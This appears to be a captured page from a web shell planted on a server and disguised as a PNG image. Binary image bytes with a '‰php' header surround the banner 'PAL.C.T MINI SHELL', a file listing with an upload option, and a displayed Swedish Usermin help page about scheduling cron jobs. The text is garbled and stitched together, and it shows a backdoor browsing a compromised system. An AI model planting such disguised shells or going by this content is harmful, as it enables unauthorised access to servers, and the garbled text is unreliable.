‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/cron/help/
upload
files >> //usr/libexec/usermin/cron/help/help.sv.UTF-8.html

<body bgcolor=#ffffff>
<title>Schemalagda kommandon och jobb</title>
<center><img src="images/cron.gif"></center><br>
<h2><i>Denna hjÀlpsida Àr inte fullstÀndig</i></h2>
<hr>
<h3>Introduktion</h3>
I denna modul kan du schemalÀgga automatisk körning av kommandon vid
tider som du anger. Modulen anvÀnder den vanliga Unix-demonen <tt>cron</tt>,
som kan köra kommandon som olika anvÀndare vid bestÀmda minuter, timmar,
pÄ bestÀmda dagar i mÄnaden, veckodagar och mÄnader. Varje jobb Àgs av
en anvÀndare, och nÀr det utförs körs det med denna anvÀndares rÀttigheter.

<p>Förstasidan listar alla schemalagda jobb grupperade efter anvÀndare.
En del system har jobb som Àr en del av operativsystemet och som Àgs av
anvÀndare som <tt>root</tt> eller <tt>sys</tt>. Det kan ocksÄ finnas
jobb som har lagts in med hjÀlp av <tt>crontab</tt>-kommandot och som
dÄ Àgs av den anvÀndare som lade in dem.

<hr>
<h3>SchemalÀgga ett nytt jobb</h3>
Tryck pÄ <tt>SchemalÀgg nytt jobb</tt> nedanför listan för att lÀgga till
ett nytt jobb till listan. Du fÄr dÄ upp ett formulÀr dÀr du anger följande
uppgifter:
	<ul>
	<li><b>AnvÀndare att köra som</b>
	    <br>Inloggningsnamnet för den Unix-anvÀndare jobbet ska köras som.
	<li><b>Aktivt?</b>
	    <br>Om ett jobb inte Àr aktivt, kommer det fortfarande att visas i listan, men inte köras.
	<li><b>Kommando</b>
	    <br>Det Unix-kommando som ska köras vid angivna tidpunkter.
	    Detta kan vara vilket kommando som helst som du kan skriva pÄ
	    kommandoraden.
	<li><b>Inmatning till kommandot</b>
	    <br>Om du fyller i nÄgot i detta fÀlt kommer det att matas in
	    till kommandot nÀr det körs. Om kommandot till exempel Àr
	    <tt>mail foo@bar.com</tt> och inmatningen <tt>hello world</tt>,
	    kommer den inmatade texten att e-postas till <tt>foo@bar.com</tt>.
	<li><b>Tidpunkter</b>
	    <br>HÀr anger du vid vilka tidpunkter kommandot ska köras.
	    Tidpunkterna anges som bestÀmda minuter, timmar, datum, mÄnader
	    eller veckodagar. För vart och ett av dessa alternativ kan du
	    vÀlja <tt>Alla</tt> eller vÀlja de tidpunkter som kommandot ska
	    köras pÄ.

	    <p>Om du exempelvis vÀljer timme 5 och veckodag tisdag, kommer
	    kommandot att köras varje minut frÄn 5:00 till 5:59 pÄ tisdagar.
	    <br>Om du vÀljer minut 30 och timme 14, kommer kommandot att
	    köras varje dag klockan 14:30.
	</ul>
<p>NÀr du har fyllt i formulÀret trycker du pÄ <tt>Skapa</tt>-knappen
lÀngst ned pÄ sidan. Jobbet kommer att schemalÀggas direkt.

<hr>
<h3>Ändra ett schemalagt jobb</h3>
Klicka pÄ ett kommando i listan pÄ förstasidan för att Àndra i jobbet.
Det Àr samma formulÀr för att Àndra ett jobb som för att skapa ett.
NÀr du har gjort de Àndringar du ville göra trycker du pÄ <tt>Spara</tt>
lÀngst ned pÄ sidan.

<p>Tryck pÄ <tt>Ta bort</tt> lÀngst ned i formulÀret för att ta bort
jobbet frÄn listan. Detta kommer att ta bort jobbet direkt utan att
begÀra nÄgon bekrÀftelse.


<hr>
<a href="/"><img alt="<-" align=middle border=0 src=/images/left.gif></a>
&nbsp;&nbsp;<a href="">Tillbaka till modul</a>

ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚